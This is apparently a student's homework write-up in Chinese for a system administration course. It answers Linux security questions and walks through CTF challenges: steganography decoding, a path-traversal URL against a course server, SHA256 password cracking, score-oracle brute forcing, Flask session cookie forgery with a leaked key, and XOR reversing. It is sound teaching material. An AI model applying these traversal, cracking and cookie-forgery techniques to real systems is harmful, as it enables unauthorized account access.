網路管理與系統管理 HW12

B13902022 賴昱錡

2025 年 5 月 29 日

1.Linux 大小事

(a)

Reference

密碼目前是存在 `/etc/shadow` (以前是在 `/etc/passwd`，但它所有人都可以讀、也並未完善加密過，並不安全)，只能由 root 讀寫，然後這些密碼是 salted 和 hashed 的，常見的加密演算法包括 SHA512、SHA256、MD-5。

(b)

Reference

`/usr/bin/passwd` 擁有 SetUID 的檔案權限，因此 `passwd` 被執行時其實會以檔案擁有者的身份去執行 (就是 root)，因此能確認你輸入的密碼是否正確，更新密碼並將新的密碼寫入 `/etc/shadow`。

(c)

Reference

這些 log 會被儲存在 `/var/log/auth.log`，裡頭主要紀錄安全相關的 event (登入 (包含 IP) 和 root user 的活動，以及 sshd、gdm 相關的認證訊息)，還有來自 PAM (pluggable authentication modules) 的輸出。

(d)

第一種方法是只採用 ssh key 作為登入的機制，這樣攻擊者就完全無法透過暴力猜密碼的方式來登入。第二種方式是在 server 端安裝 fail2ban 等工具，可以把 ssh 登入失敗超過一定次數的 IP 封鎖掉，進而有效防範同一來源的密碼爆破攻擊 (?)

2. 畫中有話

(a)

首先我們可以知道 pixels 是 secret_mygo.png 的像素資料，每一項都是一個長度為 3 的 tuple，分別代表紅、藍、綠的數值 (介於 0-255)，在讀入某個字串後 (data)，將每一個字元轉為 unicode，再轉為 8 位的 binary string。在處理 pixels 裡面的資料時，這份扣會把連續三格 pixel (pixels[3*i], pixels[3*i+1], pixels[3*i+2]) 變成一個長度為 9 的 list，之後再根據對應到 data 的第 i 個字元所轉成的字串 (方法如前述)，改變 list 中的數值 (一個 binary string 有 8 項，也對應到 list 的前八項)，最終再將 list 裡面的數值寫回圖片。

(b)

為了找到藏在圖片裡面的 string，我們可以用 3 個像素為單位來解析，很容易可以發現到，如果 (a) 所述的 binary string 的一項是"1"，則 colors 對應到的一項數值必為奇數，反之則為偶數，所以我們可以跑過足夠多的像素，然後找到很多 binary string 及其對應的 unicode and 字元，用其來拼湊出 flag。

在這裡我使用 python 來找出 flag，程式碼 (Script 在 `code/solve_secret_mygo.py`) 如下，最終得到的結果是：(btw 在那之前可能要安裝 PIL module)

`HW12{S4KiCh4n_sakiCHAN_S4k1ChaN}`

參考資料是我自己，好耶，這是少數完全不用仰賴 GPT 解出的題目。

```python
from PIL import Image

image_file = "secret_mygo.png"
img = Image.open(image_file)
pixels = list(img.getdata())
flag = ""

for i in range(0, 100, 3):
    colors = list(pixels[i])+list(pixels[i+1])+list(pixels[i+2])
    tmp = ""
    for j in range(8):
        if colors[j] % 2 == 0:
            tmp = tmp + "0"
        else:
            tmp = tmp + "1"
    flag = flag+chr(int(tmp, 2))

print(flag)
```

3. Alya Judge

(a)

這題的 flag 是:

`HW12{r3MeM8eR_To_s3t_S7RONg_PAS5WOrds}`

觀察 app.py 我們可以看到 submissions 這條 route 的設計有點危險，因為他會直接去找 submissions 資料夾底下的 <username>.json (這裡 <username> 是 submissions 斜線後的字串)，所以我們可以利用這條 route 來構造能存取 accounts/accounts.json 的 URL，我構造的網址如下，理論上他會去存取 `/submissions/../accounts/accounts.json`。

`http://140.112.91.4:45510/submissions/%2e%2e%2faccounts%2faccounts`

```
user_submissions = load_submissions(username)
# ...
def load_data(filename):
    if os.path.exists(filename):
        with open(filename, 'r') as f:
            try:
                return json.load(f)
            except json.JSONDecodeError:
                return {}
    return {}

def load_submissions(username):
    return load_data(SUBMISSIONS_DIR + username + '.json')
```

進到剛剛構造的 URL 後，我們可以看到許多人的 username 和一串應該是 SHA256 的 hash (應該.. 是密碼)。然後我們可以用簡單的 python script (`code/break_pw.py`) 去從既有的 password list 去找有沒有密碼的 hash 和 fysty 的 hash 相同。

```
# break_pw.py
import hashlib
target_hash =
↪  "40c3d69c8a012e181bd63d215d61a1df44e8fe7c182da6d24f26b0fae5348010"
wordlist_path = "1M.txt"

with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
    for line in f:
        password = line.strip()  # remove newline and spaces
        hashed = hashlib.sha256(password.encode()).hexdigest()
        if hashed == target_hash:
```

```
            print(f"The password is: {password}")
            break
```

最終我們可以使用得到的密碼 `mortis00` 去成功登入 fysty 的帳戶，就可以找到這小題的旗幟了！

(b)

這題的 flag 為：

`HW12{e5x5Vw2qC}`

觀察 special judge 的 code 會發現到它判斷得分的方式是分段的，假設正解是一個 list (solution)，那這份 code 會去看你繳交的程式碼的某一段 substring 有沒有 match 到 solution 的某一項，如果有的話就算得到部份分，然後繼續匹配字串是否有 match 到 solution 的下一項; 如果沒有，就繼續看繳交的 code 後續的 substring 有沒有 match 到 solution 的這一項。

可以試試看分別 submit `H`, `HW`, `HW12`，應該會發現他的分數大概會是公差為 6 的遞增數列，所以 subtask 應該是用字元來切，所以我們可以暴力枚舉 flag 未知的 9 個字元，重複送出攜帶 code and language 的 POST request，如果發現到 response 中的分數增加，就 update 當前成功 match 的字串，最終我們一定可以得到這小題的 flag，而將其 submit 至未完成題目會是 fully accepted。(script 為 `code/test.py`)。

(c)

這題的 flag 是：

`HW12{i_l1KE_a15CR3am_MoRE_7H4n_CoOKi3s}`

可以發現到這個網站登入的機制 (包含 cookie)，是由 flask 裡面的 session 管理，而 session 裡面唯一的 property 是 `username`，在登入後在網站的 `DevTools > Application > Cookies` 中可以看到 `session` 這項 cookie。

我們可以試著偽造 session cookie，由於 app.py 裡頭有 session key：

```
app.config['SECRET_KEY'] = 'A_super_SecUrE_$eCR37_keY'
```

可以利用 `flask-unsign` 藉由該 key 與 property 來生出指定的 session cookie (如下所示)，最後通過 Edit-This-Cookie 這個瀏覽器套件來編輯 cookie 的值。重新整理後，即可自動登入 admin 的帳戶，並在他的 submissions 中找到 fLaG，好耶！

```
pip install flask-unsign
flask-unsign --sign --secret 'A_super_SecUrE_$eCR37_keY' --cookie
↪  '{"username":"admin"}'
```

4. Introduction to gnireenignE esreveR

這題的 flag 是:

`HW12{hW0_8UT_WiTH_r3V3Rse_eN91NE3rinG}`

我拿到 flag 的方法是把 chal.exe 丟進 dogbolt.org，然後發現 Hex-Rays 這個 decompiler 竟然幫我分析好原本程式的架構了。基本上，原本的程式包含以下重要變數:

```
char key[9] = "nAs42O2S";
char pattern[40] =
  {'&','\x16','B','\x06','I','\'','e','c','1','y','&','`','m','\x18'
,'[','\a','&','\x1E','\x01','\a','d','|','`','
  ','\v','\x1E','\x16','z','\v','~','|',
'\x16',']','3','\x1A','Z','u','2','\0','\0'};
int flag_len = 38;
```

看到程式接受輸入的地方 (應該是 main)，他會用 key 對 pattern 做 xor encryption，然後 check 程式接受的參數是不是等於加密後的 pattern。

```
int __fastcall main(int argc,
  const char ** argv,
    const char ** envp) {
  int i; // [rsp+1Ch] [rbp-4h]

  if (argc == 2) {
    for (i = 0; i < flag_len; ++i)
      pattern[i] ^= key[i % key_len];
    if (!strcmp(argv[1], pattern))
      puts("Congratulations! You found the flag!");
    else
      puts("Haha! wrong >:)!!!!!!");
    return 0;
  } else {
    puts("Usage: ./chal.exe <flag>");
    return 1;
  }
}
```

所以我們可以用前面提到的變數實際去 xor 一遍 (script 在 `code/lahc.c`)，就可以得到程式中的 pattern/flag。(將 flag 作為 chal.exe 的參數執行，可以得到代表正確的訊息)

```
// lahc.c
for (int i = 0; i < flag_len; ++i ) pattern[i] ^= key[i % key_len];
printf("%s\n", pattern);
```